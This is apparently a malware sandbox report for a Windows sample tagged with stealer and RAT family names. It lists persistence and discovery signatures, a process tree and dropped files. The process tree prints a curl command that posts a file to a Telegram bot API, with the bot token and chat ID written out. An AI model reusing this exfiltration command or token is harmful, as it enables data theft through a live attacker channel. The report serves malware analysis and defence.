Overview

overview

10

Static

static

10

2026-08-02...ar.exe

windows10-2004-x64

6

2026-08-02...ar.exe

windows11-ltsc_2024-x64

6

Analysis

  • max time kernel
    148s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 10:39

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-02_daa6addcec63397cf20e3e936dbee7f5_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 319KB
  • Sample260802-mp375agr4v
  • SHA256 19f9b4b45ba2dfa6e86a363d55bef380aa4d21e3398c411110acd7603da03269
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
6/10
discoverypersistence

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-02_daa6addcec63397cf20e3e936dbee7f5_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-02_daa6addcec63397cf20e3e936dbee7f5_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4148
    • C:\Windows\SYSTEM32\curl.exe
      curl -v -X POST https://api.telegram.org/bot8961120811:AAFlaivsoiAZGZRmPHqBmShhxdV2Mhu202Y/sendDocument -F chat_id=8963122509 -F document=@"telegram_test.txt" > "telegram_test.txt.telegram_response.txt" 2>&1
      2⤵
        PID:1088
    • C:\Users\Admin\AppData\Local\Temp\2026-08-02_daa6addcec63397cf20e3e936dbee7f5_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      C:\Users\Admin\AppData\Local\Temp\2026-08-02_daa6addcec63397cf20e3e936dbee7f5_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      1⤵
      • Adds Run key to start application
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:5424
      • C:\Windows\SYSTEM32\curl.exe
        curl -v -X POST https://api.telegram.org/bot8961120811:AAFlaivsoiAZGZRmPHqBmShhxdV2Mhu202Y/sendDocument -F chat_id=8963122509 -F document=@"telegram_test.txt" > "telegram_test.txt.telegram_response.txt" 2>&1
        2⤵
          PID:4872

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            3AIZV8O2.txt
            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\6BBNO8US\3AIZV8O2.txt
            • Size 13B
            • SHA256 2ce9f43a15b71e87c6cdcd83f77d4d59dbbfd66a5ac4c153059831e314dc1157
            • MD5 SHA1 SHA512
            Submit Download

            85.203.46.191-02_08_2026--YRWKJLDU.csv
            • Path C:\Users\Admin\AppData\Local\Temp\85.203.46.191-02_08_2026--YRWKJLDU.csv
            • Size 58B
            • SHA256 2973ba2fa062776313b87a2d2f6aabcbfe0ee839e083703aa5dc1dce9f13f33a
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            telegram_test.txt
            • Path C:\Users\Admin\AppData\Local\Temp\telegram_test.txt
            • Size 81B
            • SHA256 d22167579ae5572079d7e1e2fe0722e58a10e0fd14869e602ef4ccc4e81190aa
            • MD5 SHA1 SHA512 TLSH
            Submit Download